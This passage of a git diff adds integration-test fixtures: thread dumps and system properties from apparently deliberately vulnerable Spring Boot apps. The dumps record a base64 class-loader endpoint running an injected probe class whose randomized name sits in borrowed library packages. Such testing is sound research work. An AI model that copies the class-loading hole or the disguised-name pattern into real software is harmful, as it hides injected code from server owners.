at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"AppServer-utility-1" #19 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@513cf310 + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-5" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at com.fasterxml.jackson.gzGMb.ErrorBbkuhHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.17/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.17/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:255) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:188) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:926) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:831) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:586) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:654) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193) + at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109) + at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:539) + at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133) + at com.bes.enterprise.webtier.valves.StuckThreadDetectionValve.invoke(StuckThreadDetectionValve.java:185) + at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87) + at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74) + at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388) + at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:475) + at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61) + at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:972) + at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1942) + at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:51) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1194) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-0.0.0.0-8080-Acceptor" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:617) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:96) + at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"SelectorReaderThread-8080-1" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:859) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"DestroyJavaVM" #32 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"httpWorkerThread-8080-2" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"container-0" #29 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ApplicationServer.await(ApplicationServer.java:562) + at com.bes.enterprise.springboot.embedded.BesWebServer$1.run(BesWebServer.java:235) + + +=========================================== + +StackClassNames: +com.bes.enterprise.springboot.embedded.BesWebServer$1 +com.bes.enterprise.web.crane.AbstractProcessorLight +com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler +com.bes.enterprise.web.crane.http11.Http11Processor +com.bes.enterprise.web.util.net.Acceptor +com.bes.enterprise.web.util.net.NioEndpoint +com.bes.enterprise.web.util.net.NioEndpoint$Poller +com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor +com.bes.enterprise.web.util.net.SocketProcessorBase +com.bes.enterprise.web.util.threads.ThreadPoolExecutor +com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker +com.bes.enterprise.web.util.threads.WorkQueue +com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable +com.bes.enterprise.web.websocket.server.WsFilter +com.bes.enterprise.webtier.authenticator.AuthenticatorBase +com.bes.enterprise.webtier.connector.CoyoteAdapter +com.bes.enterprise.webtier.core.ApplicationFilterChain +com.bes.enterprise.webtier.core.ApplicationServer +com.bes.enterprise.webtier.core.DefaultContextValve +com.bes.enterprise.webtier.core.DefaultEngineValve +com.bes.enterprise.webtier.core.DefaultHostValve +com.bes.enterprise.webtier.core.DefaultWrapperValve +com.bes.enterprise.webtier.valves.ErrorReportValve +com.bes.enterprise.webtier.valves.StuckThreadDetectionValve +com.fasterxml.jackson.gzGMb.ErrorBbkuhHandler +com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController +jakarta.servlet.http.HttpServlet +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt new file mode 100644 index 00000000..e127c5ae --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt @@ -0,0 +1,433 @@ +# Generated At 2026-08-21 10:13:30 +SystemProps: +java.specification.version: 21 +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +catalina.useNaming: false +user.timezone: Etc/UTC +java.vm.specification.version: 21 +os.name: Linux +APPLICATION_NAME: vul-springboot4 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2026-04-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.11+10-LTS +user.name: root +stdout.encoding: UTF-8 +path.separator: : +os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-21.0.11+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +catalina.home: /tmp/tomcat.8080.9283356756873350272 +java.version: 21.0.11 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +catalina.base: /tmp/tomcat.8080.9283356756873350272 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +java.vm.version: 21.0.11+10-LTS +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 65.0 +LOGGED_APPLICATION_NAME: [vul-springboot4] + +=========================================== + +ThreadStacks: +"http-nio-8080-exec-5" #41 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.11/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at org.apache.commons.lang.jlEOs.ErrorPscoiHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:22) + at java.base@21.0.11/java.lang.invoke.LambdaForm$DMH/0x0000009801144400.invokeVirtual(LambdaForm$DMH) + at java.base@21.0.11/java.lang.invoke.LambdaForm$MH/0x00000098012ed800.invoke(LambdaForm$MH) + at java.base@21.0.11/java.lang.invoke.Invokers$Holder.invokeExact_MT(Invokers$Holder) + at java.base@21.0.11/jdk.internal.reflect.DirectMethodHandleAccessor.invokeImpl(DirectMethodHandleAccessor.java:154) + at java.base@21.0.11/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103) + at java.base@21.0.11/java.lang.reflect.Method.invoke(Method.java:580) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:252) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:184) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:934) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:853) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:86) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:963) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:866) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1000) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:903) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:649) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:874) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:710) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:59) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:199) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:165) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:77) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:535) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:86) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:71) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:347) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:406) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:71) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:1307) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:2036) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:74) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:949) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Cleaner-0" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b681d9f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@3e133080 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.11/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"http-nio-8080-exec-1" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"DestroyJavaVM" #49 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-4" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-nio-8080-exec-10" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-nio-8080-exec-2" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-nio-8080-Acceptor" #48 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.11/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:433) + at java.base@21.0.11/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:399) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:626) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:71) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:145) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Catalina-utility-1" #34 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fbfe421 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at 